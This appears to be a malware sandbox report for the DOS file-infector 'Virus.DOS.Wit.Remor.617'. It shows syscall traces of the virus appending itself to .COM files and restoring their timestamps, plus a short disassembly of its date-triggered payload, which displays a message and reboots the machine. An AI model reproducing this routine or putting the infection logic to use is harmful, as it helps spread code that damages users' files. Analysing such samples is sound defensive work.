Sample viewer

vx.netlux.org/Virus.DOS.Wit.Remor.617

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-17T23:06:13.163343963Z 26 PC: 12a71 | Set disk transfer address
2018-12-17T23:06:13.167225591Z 71 PC: 12a83 | Get current directory
2018-12-17T23:06:13.172319648Z 42 PC: 12a89 | Get date 0x12a89: cmp dh, 4
0x12a8c: jne 0x12aa7
0x12a8e: cmp dl, 0xf
0x12a91: jne 0x12aa7
0x12a93: mov ax, 0x1010
0x12a96: out 0x70, ax
0x12a98: mov dx, 0x301
0x12a9b: mov ah, 9
0x12a9d: int 0x21
0x12a9f: mov ah, 8
0x12aa1: int 0x21
0x12aa3: mov al, 0xfe
0x12aa5: out 0x64, al
0x12aa7: mov ah, byte ptr [0x32b]
0x12aab: mov cl, 7
0x12aad: mov dx, 0x2f5
0x12ab0: int 0x21
0x12ab2: jae 0x12ab7
0x12ab4: jmp 0x12bf0
0x12ab7: mov dx, word ptr [0x324]
2018-12-17T23:06:13.17558107Z 78 PC: 12ab2 | Find first file
2018-12-17T23:06:13.18367593Z 67 PC: 12ace | Get or set file attributes
2018-12-17T23:06:13.202772423Z 61 PC: 12ae2 | Open file (Filename = 'SLEEP.COM')
2018-12-17T23:06:13.21088651Z 63 PC: 12aff | Read file or device (Read 614 bytes on handle 5)
2018-12-17T23:06:13.218948447Z 66 PC: 12b1e | Move file pointer
2018-12-17T23:06:13.221674362Z 66 PC: 12b40 | Move file pointer
2018-12-17T23:06:13.223685133Z 64 PC: 12b5b | Write file or device (Write 407 bytes on handle 5)
2018-12-17T23:06:13.228250325Z 64 PC: 12b6b | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:06:13.232454871Z 66 PC: 12b9b | Move file pointer
2018-12-17T23:06:13.234139498Z 64 PC: 12bad | Write file or device (Write 614 bytes on handle 5)
2018-12-17T23:06:13.242587612Z 87 PC: 12bbe | Get or set file date and time
2018-12-17T23:06:13.253846691Z 62 PC: 12bc4 | Close file
2018-12-17T23:06:13.265139082Z 67 PC: 12bd6 | Get or set file attributes
2018-12-17T23:06:13.278720857Z 79 PC: 12ab2 | Find next file
2018-12-17T23:06:13.282172627Z 67 PC: 12ace | Get or set file attributes
2018-12-17T23:06:13.295245656Z 61 PC: 12ae2 | Open file (Filename = 'PRINT.COM')
2018-12-17T23:06:13.303585877Z 63 PC: 12aff | Read file or device (Read 614 bytes on handle 5)
2018-12-17T23:06:13.311318095Z 66 PC: 12b1e | Move file pointer
2018-12-17T23:06:13.31461869Z 66 PC: 12b40 | Move file pointer
2018-12-17T23:06:13.316481713Z 64 PC: 12b5b | Write file or device (Write 27 bytes on handle 5)
2018-12-17T23:06:13.320912072Z 64 PC: 12b6b | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:06:13.325246151Z 66 PC: 12b9b | Move file pointer
2018-12-17T23:06:13.32762277Z 64 PC: 12bad | Write file or device (Write 614 bytes on handle 5)
2018-12-17T23:06:13.336401334Z 87 PC: 12bbe | Get or set file date and time
2018-12-17T23:06:13.339744851Z 62 PC: 12bc4 | Close file
2018-12-17T23:06:13.348905504Z 67 PC: 12bd6 | Get or set file attributes
2018-12-17T23:06:13.361029068Z 79 PC: 12ab2 | Find next file
2018-12-17T23:06:13.364711612Z 67 PC: 12ace | Get or set file attributes
2018-12-17T23:06:13.376303005Z 61 PC: 12ae2 | Open file (Filename = 'HELLO.COM')
2018-12-17T23:06:13.384164496Z 63 PC: 12aff | Read file or device (Read 614 bytes on handle 5)
2018-12-17T23:06:13.391834627Z 66 PC: 12b1e | Move file pointer
2018-12-17T23:06:13.39446911Z 66 PC: 12b40 | Move file pointer
2018-12-17T23:06:13.396565381Z 64 PC: 12b5b | Write file or device (Write 92 bytes on handle 5)
2018-12-17T23:06:13.401018163Z 64 PC: 12b6b | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:06:13.405494288Z 66 PC: 12b9b | Move file pointer
2018-12-17T23:06:13.407310694Z 64 PC: 12bad | Write file or device (Write 614 bytes on handle 5)
2018-12-17T23:06:13.416812339Z 87 PC: 12bbe | Get or set file date and time
2018-12-17T23:06:13.419506514Z 62 PC: 12bc4 | Close file
2018-12-17T23:06:13.42912608Z 67 PC: 12bd6 | Get or set file attributes
2018-12-17T23:06:13.440590304Z 79 PC: 12ab2 | Find next file
2018-12-17T23:06:13.445047665Z 67 PC: 12ace | Get or set file attributes
2018-12-17T23:06:13.456149618Z 61 PC: 12ae2 | Open file (Filename = 'PHANG.COM')
2018-12-17T23:06:13.463642856Z 63 PC: 12aff | Read file or device (Read 614 bytes on handle 5)
2018-12-17T23:06:13.471469471Z 66 PC: 12b1e | Move file pointer
2018-12-17T23:06:13.473477477Z 66 PC: 12b40 | Move file pointer
2018-12-17T23:06:13.475414499Z 64 PC: 12b5b | Write file or device (Write 29 bytes on handle 5)
2018-12-17T23:06:13.480641416Z 64 PC: 12b6b | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:06:13.484511532Z 66 PC: 12b9b | Move file pointer
2018-12-17T23:06:13.486410753Z 64 PC: 12bad | Write file or device (Write 614 bytes on handle 5)
2018-12-17T23:06:13.500289186Z 87 PC: 12bbe | Get or set file date and time
2018-12-17T23:06:13.503351214Z 62 PC: 12bc4 | Close file
2018-12-17T23:06:13.517345355Z 67 PC: 12bd6 | Get or set file attributes
2018-12-17T23:06:13.536739328Z 79 PC: 12ab2 | Find next file
2018-12-17T23:06:13.540879973Z 67 PC: 12ace | Get or set file attributes
2018-12-17T23:06:13.551743908Z 61 PC: 12ae2 | Open file (Filename = 'PRINTA~1.COM')
2018-12-17T23:06:13.559205868Z 63 PC: 12aff | Read file or device (Read 614 bytes on handle 5)
2018-12-17T23:06:13.56491367Z 66 PC: 12b1e | Move file pointer
2018-12-17T23:06:13.566329642Z 66 PC: 12b40 | Move file pointer
2018-12-17T23:06:13.567591073Z 64 PC: 12b5b | Write file or device (Write 29 bytes on handle 5)
2018-12-17T23:06:13.571962111Z 64 PC: 12b6b | Write file or device (Write 3 bytes on handle 5)
2018-12-17T23:06:13.575983923Z 66 PC: 12b9b | Move file pointer
2018-12-17T23:06:13.577956462Z 64 PC: 12bad | Write file or device (Write 614 bytes on handle 5)
2018-12-17T23:06:13.586393064Z 87 PC: 12bbe | Get or set file date and time
2018-12-17T23:06:13.589631482Z 62 PC: 12bc4 | Close file
2018-12-17T23:06:13.598388947Z 67 PC: 12bd6 | Get or set file attributes
2018-12-17T23:06:13.60934119Z 59 PC: 12bf9 | Change current directory
2018-12-17T23:06:13.615398257Z 26 PC: 12c16 | Set disk transfer address
2018-12-17T23:06:13.617046005Z 59 PC: 12c21 | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15463,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:43:30.288361391Z 26 PC: 12a71 | Set disk transfer address
2018-12-25T12:43:30.289779589Z 71 PC: 12a83 | Get current directory
2018-12-25T12:43:30.292587033Z 42 PC: 12a89 | Get date 0x12a89: cmp dh, 4
0x12a8c: jne 0x12aa7
0x12a8e: cmp dl, 0xf
0x12a91: jne 0x12aa7
0x12a93: mov ax, 0x1010
0x12a96: out 0x70, ax
0x12a98: mov dx, 0x301
0x12a9b: mov ah, 9
0x12a9d: int 0x21
0x12a9f: mov ah, 8
0x12aa1: int 0x21
0x12aa3: mov al, 0xfe
0x12aa5: out 0x64, al
0x12aa7: mov ah, byte ptr [0x32b]
0x12aab: mov cl, 7
0x12aad: mov dx, 0x2f5
0x12ab0: int 0x21
0x12ab2: jae 0x12ab7
0x12ab4: jmp 0x12bf0
0x12ab7: mov dx, word ptr [0x324]
2018-12-25T12:43:30.294724009Z 78 PC: 12ab2 | Find first file
2018-12-25T12:43:30.302841556Z 67 PC: 12ace | Get or set file attributes
2018-12-25T12:43:30.318857413Z 61 PC: 12ae2 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:43:30.325681414Z 63 PC: 12aff | Read file or device (Read 614 bytes on handle 5)
2018-12-25T12:43:30.345149045Z 66 PC: 12b1e | Move file pointer
2018-12-25T12:43:30.347503123Z 66 PC: 12b40 | Move file pointer
2018-12-25T12:43:30.349315558Z 64 PC: 12b5b | Write file or device (Write 407 bytes on handle 5)
2018-12-25T12:43:30.353497852Z 64 PC: 12b6b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:43:30.35718861Z 66 PC: 12b9b | Move file pointer
2018-12-25T12:43:30.358521449Z 64 PC: 12bad | Write file or device (Write 614 bytes on handle 5)
2018-12-25T12:43:30.365799033Z 87 PC: 12bbe | Get or set file date and time
2018-12-25T12:43:30.369150652Z 62 PC: 12bc4 | Close file
2018-12-25T12:43:30.378331615Z 67 PC: 12bd6 | Get or set file attributes
2018-12-25T12:43:30.388384638Z 79 PC: 12ab2 | Find next file (See above)
2018-12-25T12:43:30.392064922Z 67 PC: 12ace | Get or set file attributes (See above)
2018-12-25T12:43:30.411453802Z 61 PC: 12ae2 | Open file (See above)
2018-12-25T12:43:30.41877467Z 63 PC: 12aff | Read file or device (See above)
2018-12-25T12:43:30.426351838Z 66 PC: 12b1e | Move file pointer (See above)
2018-12-25T12:43:30.428368495Z 66 PC: 12b40 | Move file pointer (See above)
2018-12-25T12:43:30.430026233Z 64 PC: 12b5b | Write file or device (See above)
2018-12-25T12:43:30.434000061Z 64 PC: 12b6b | Write file or device (See above)
2018-12-25T12:43:30.439951262Z 66 PC: 12b9b | Move file pointer (See above)
2018-12-25T12:43:30.441291644Z 64 PC: 12bad | Write file or device (See above)
2018-12-25T12:43:30.448484447Z 87 PC: 12bbe | Get or set file date and time (See above)
2018-12-25T12:43:30.450737418Z 62 PC: 12bc4 | Close file (See above)
2018-12-25T12:43:30.458917986Z 67 PC: 12bd6 | Get or set file attributes (See above)
2018-12-25T12:43:30.468489509Z 79 PC: 12ab2 | Find next file (See above)
2018-12-25T12:43:30.472584508Z 67 PC: 12ace | Get or set file attributes (See above)
2018-12-25T12:43:30.489636062Z 61 PC: 12ae2 | Open file (See above)
2018-12-25T12:43:30.496439395Z 63 PC: 12aff | Read file or device (See above)
2018-12-25T12:43:30.503351219Z 66 PC: 12b1e | Move file pointer (See above)
2018-12-25T12:43:30.505287099Z 66 PC: 12b40 | Move file pointer (See above)
2018-12-25T12:43:30.506679321Z 64 PC: 12b5b | Write file or device (See above)
2018-12-25T12:43:30.510920718Z 64 PC: 12b6b | Write file or device (See above)
2018-12-25T12:43:30.513752978Z 66 PC: 12b9b | Move file pointer (See above)
2018-12-25T12:43:30.515041259Z 64 PC: 12bad | Write file or device (See above)
2018-12-25T12:43:30.523607154Z 87 PC: 12bbe | Get or set file date and time (See above)
2018-12-25T12:43:30.525716149Z 62 PC: 12bc4 | Close file (See above)
2018-12-25T12:43:30.534118071Z 67 PC: 12bd6 | Get or set file attributes (See above)
2018-12-25T12:43:30.54472814Z 79 PC: 12ab2 | Find next file (See above)
2018-12-25T12:43:30.548434733Z 67 PC: 12ace | Get or set file attributes (See above)
2018-12-25T12:43:30.558410149Z 61 PC: 12ae2 | Open file (See above)
2018-12-25T12:43:30.565615262Z 63 PC: 12aff | Read file or device (See above)
2018-12-25T12:43:30.573116861Z 66 PC: 12b1e | Move file pointer (See above)
2018-12-25T12:43:30.574860165Z 66 PC: 12b40 | Move file pointer (See above)
2018-12-25T12:43:30.576554689Z 64 PC: 12b5b | Write file or device (See above)
2018-12-25T12:43:30.581321175Z 64 PC: 12b6b | Write file or device (See above)
2018-12-25T12:43:30.584845399Z 66 PC: 12b9b | Move file pointer (See above)
2018-12-25T12:43:30.586514607Z 64 PC: 12bad | Write file or device (See above)
2018-12-25T12:43:30.595240686Z 87 PC: 12bbe | Get or set file date and time (See above)
2018-12-25T12:43:30.597303543Z 62 PC: 12bc4 | Close file (See above)
2018-12-25T12:43:30.605078017Z 67 PC: 12bd6 | Get or set file attributes (See above)
2018-12-25T12:43:30.615628218Z 79 PC: 12ab2 | Find next file (See above)
2018-12-25T12:43:30.618556356Z 67 PC: 12ace | Get or set file attributes (See above)
2018-12-25T12:43:30.627995121Z 61 PC: 12ae2 | Open file (See above)
2018-12-25T12:43:30.634548038Z 63 PC: 12aff | Read file or device (See above)
2018-12-25T12:43:30.641129726Z 66 PC: 12b1e | Move file pointer (See above)
2018-12-25T12:43:30.642463296Z 66 PC: 12b40 | Move file pointer (See above)
2018-12-25T12:43:30.64377707Z 64 PC: 12b5b | Write file or device (See above)
2018-12-25T12:43:30.648145977Z 64 PC: 12b6b | Write file or device (See above)
2018-12-25T12:43:30.651310717Z 66 PC: 12b9b | Move file pointer (See above)
2018-12-25T12:43:30.652936524Z 64 PC: 12bad | Write file or device (See above)
2018-12-25T12:43:30.661730685Z 87 PC: 12bbe | Get or set file date and time (See above)
2018-12-25T12:43:30.663285553Z 62 PC: 12bc4 | Close file (See above)
2018-12-25T12:43:30.671869667Z 67 PC: 12bd6 | Get or set file attributes (See above)
2018-12-25T12:43:30.682383875Z 59 PC: 12bf9 | Change current directory
2018-12-25T12:43:30.686469974Z 26 PC: 12c16 | Set disk transfer address
2018-12-25T12:43:30.687519757Z 59 PC: 12c21 | Change current directory

{"DateBased":true,"Day":1,"Month":4,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15463,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:43:30.31591877Z 26 PC: 12a71 | Set disk transfer address
2018-12-25T12:43:30.317836785Z 71 PC: 12a83 | Get current directory
2018-12-25T12:43:30.320624712Z 42 PC: 12a89 | Get date 0x12a89: cmp dh, 4
0x12a8c: jne 0x12aa7
0x12a8e: cmp dl, 0xf
0x12a91: jne 0x12aa7
0x12a93: mov ax, 0x1010
0x12a96: out 0x70, ax
0x12a98: mov dx, 0x301
0x12a9b: mov ah, 9
0x12a9d: int 0x21
0x12a9f: mov ah, 8
0x12aa1: int 0x21
0x12aa3: mov al, 0xfe
0x12aa5: out 0x64, al
0x12aa7: mov ah, byte ptr [0x32b]
0x12aab: mov cl, 7
0x12aad: mov dx, 0x2f5
0x12ab0: int 0x21
0x12ab2: jae 0x12ab7
0x12ab4: jmp 0x12bf0
0x12ab7: mov dx, word ptr [0x324]
2018-12-25T12:43:30.322954017Z 78 PC: 12ab2 | Find first file
2018-12-25T12:43:30.329698359Z 67 PC: 12ace | Get or set file attributes
2018-12-25T12:43:30.344869809Z 61 PC: 12ae2 | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:43:30.351784775Z 63 PC: 12aff | Read file or device (Read 614 bytes on handle 5)
2018-12-25T12:43:30.358309555Z 66 PC: 12b1e | Move file pointer
2018-12-25T12:43:30.360505847Z 66 PC: 12b40 | Move file pointer
2018-12-25T12:43:30.361986113Z 64 PC: 12b5b | Write file or device (Write 407 bytes on handle 5)
2018-12-25T12:43:30.365751192Z 64 PC: 12b6b | Write file or device (Write 3 bytes on handle 5)
2018-12-25T12:43:30.371006945Z 66 PC: 12b9b | Move file pointer
2018-12-25T12:43:30.373409274Z 64 PC: 12bad | Write file or device (Write 614 bytes on handle 5)
2018-12-25T12:43:30.390649053Z 87 PC: 12bbe | Get or set file date and time
2018-12-25T12:43:30.399827272Z 62 PC: 12bc4 | Close file
2018-12-25T12:43:30.407352282Z 67 PC: 12bd6 | Get or set file attributes
2018-12-25T12:43:30.424069982Z 79 PC: 12ab2 | Find next file (See above)
2018-12-25T12:43:30.427380043Z 67 PC: 12ace | Get or set file attributes (See above)
2018-12-25T12:43:30.437555449Z 61 PC: 12ae2 | Open file (See above)
2018-12-25T12:43:30.444285974Z 63 PC: 12aff | Read file or device (See above)
2018-12-25T12:43:30.451580783Z 66 PC: 12b1e | Move file pointer (See above)
2018-12-25T12:43:30.452990863Z 66 PC: 12b40 | Move file pointer (See above)
2018-12-25T12:43:30.454379553Z 64 PC: 12b5b | Write file or device (See above)
2018-12-25T12:43:30.458877598Z 64 PC: 12b6b | Write file or device (See above)
2018-12-25T12:43:30.461941806Z 66 PC: 12b9b | Move file pointer (See above)
2018-12-25T12:43:30.463220875Z 64 PC: 12bad | Write file or device (See above)
2018-12-25T12:43:30.470687548Z 87 PC: 12bbe | Get or set file date and time (See above)
2018-12-25T12:43:30.472609981Z 62 PC: 12bc4 | Close file (See above)
2018-12-25T12:43:30.480188674Z 67 PC: 12bd6 | Get or set file attributes (See above)
2018-12-25T12:43:30.489925031Z 79 PC: 12ab2 | Find next file (See above)
2018-12-25T12:43:30.4934565Z 67 PC: 12ace | Get or set file attributes (See above)
2018-12-25T12:43:30.505031121Z 61 PC: 12ae2 | Open file (See above)
2018-12-25T12:43:30.512191157Z 63 PC: 12aff | Read file or device (See above)
2018-12-25T12:43:30.51970684Z 66 PC: 12b1e | Move file pointer (See above)
2018-12-25T12:43:30.521189767Z 66 PC: 12b40 | Move file pointer (See above)
2018-12-25T12:43:30.522665426Z 64 PC: 12b5b | Write file or device (See above)
2018-12-25T12:43:30.527257915Z 64 PC: 12b6b | Write file or device (See above)
2018-12-25T12:43:30.530122057Z 66 PC: 12b9b | Move file pointer (See above)
2018-12-25T12:43:30.531416187Z 64 PC: 12bad | Write file or device (See above)
2018-12-25T12:43:30.539261852Z 87 PC: 12bbe | Get or set file date and time (See above)
2018-12-25T12:43:30.540676975Z 62 PC: 12bc4 | Close file (See above)
2018-12-25T12:43:30.548043759Z 67 PC: 12bd6 | Get or set file attributes (See above)
2018-12-25T12:43:30.558095853Z 79 PC: 12ab2 | Find next file (See above)
2018-12-25T12:43:30.561134849Z 67 PC: 12ace | Get or set file attributes (See above)
2018-12-25T12:43:30.570995035Z 61 PC: 12ae2 | Open file (See above)
2018-12-25T12:43:30.57781425Z 63 PC: 12aff | Read file or device (See above)
2018-12-25T12:43:30.584881378Z 66 PC: 12b1e | Move file pointer (See above)
2018-12-25T12:43:30.586673338Z 66 PC: 12b40 | Move file pointer (See above)
2018-12-25T12:43:30.588421712Z 64 PC: 12b5b | Write file or device (See above)
2018-12-25T12:43:30.592832332Z 64 PC: 12b6b | Write file or device (See above)
2018-12-25T12:43:30.596057714Z 66 PC: 12b9b | Move file pointer (See above)
2018-12-25T12:43:30.597715078Z 64 PC: 12bad | Write file or device (See above)
2018-12-25T12:43:30.606499194Z 87 PC: 12bbe | Get or set file date and time (See above)
2018-12-25T12:43:30.608636215Z 62 PC: 12bc4 | Close file (See above)
2018-12-25T12:43:30.616174426Z 67 PC: 12bd6 | Get or set file attributes (See above)
2018-12-25T12:43:30.627479076Z 79 PC: 12ab2 | Find next file (See above)
2018-12-25T12:43:30.630138465Z 67 PC: 12ace | Get or set file attributes (See above)
2018-12-25T12:43:30.640528276Z 61 PC: 12ae2 | Open file (See above)
2018-12-25T12:43:30.647587779Z 63 PC: 12aff | Read file or device (See above)
2018-12-25T12:43:30.65417834Z 66 PC: 12b1e | Move file pointer (See above)
2018-12-25T12:43:30.655850166Z 66 PC: 12b40 | Move file pointer (See above)
2018-12-25T12:43:30.658293058Z 64 PC: 12b5b | Write file or device (See above)
2018-12-25T12:43:30.662210648Z 64 PC: 12b6b | Write file or device (See above)
2018-12-25T12:43:30.665367745Z 66 PC: 12b9b | Move file pointer (See above)
2018-12-25T12:43:30.667539742Z 64 PC: 12bad | Write file or device (See above)
2018-12-25T12:43:30.675032631Z 87 PC: 12bbe | Get or set file date and time (See above)
2018-12-25T12:43:30.676770047Z 62 PC: 12bc4 | Close file (See above)
2018-12-25T12:43:30.68491922Z 67 PC: 12bd6 | Get or set file attributes (See above)
2018-12-25T12:43:30.695899527Z 59 PC: 12bf9 | Change current directory
2018-12-25T12:43:30.700873153Z 26 PC: 12c16 | Set disk transfer address
2018-12-25T12:43:30.702728091Z 59 PC: 12c21 | Change current directory

{"DateBased":true,"Day":15,"Month":4,"Year":1980,"Hour":0,"Min":0,"Second":0,"TimeBased":false,"OriginalID":15463,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:43:30.343328423Z 26 PC: 12a71 | Set disk transfer address
2018-12-25T12:43:30.346750726Z 71 PC: 12a83 | Get current directory
2018-12-25T12:43:30.357755849Z 42 PC: 12a89 | Get date 0x12a89: cmp dh, 4
0x12a8c: jne 0x12aa7
0x12a8e: cmp dl, 0xf
0x12a91: jne 0x12aa7
0x12a93: mov ax, 0x1010
0x12a96: out 0x70, ax
0x12a98: mov dx, 0x301
0x12a9b: mov ah, 9
0x12a9d: int 0x21
0x12a9f: mov ah, 8
0x12aa1: int 0x21
0x12aa3: mov al, 0xfe
0x12aa5: out 0x64, al
0x12aa7: mov ah, byte ptr [0x32b]
0x12aab: mov cl, 7
0x12aad: mov dx, 0x2f5
0x12ab0: int 0x21
0x12ab2: jae 0x12ab7
0x12ab4: jmp 0x12bf0
0x12ab7: mov dx, word ptr [0x324]
2018-12-25T12:43:30.361134493Z 9 PC: 12a9f | Display string (String= '��ࠡ���� - rulez forever ! ')
2018-12-25T12:43:30.366754966Z 8 PC: 12aa3 | Console input without echo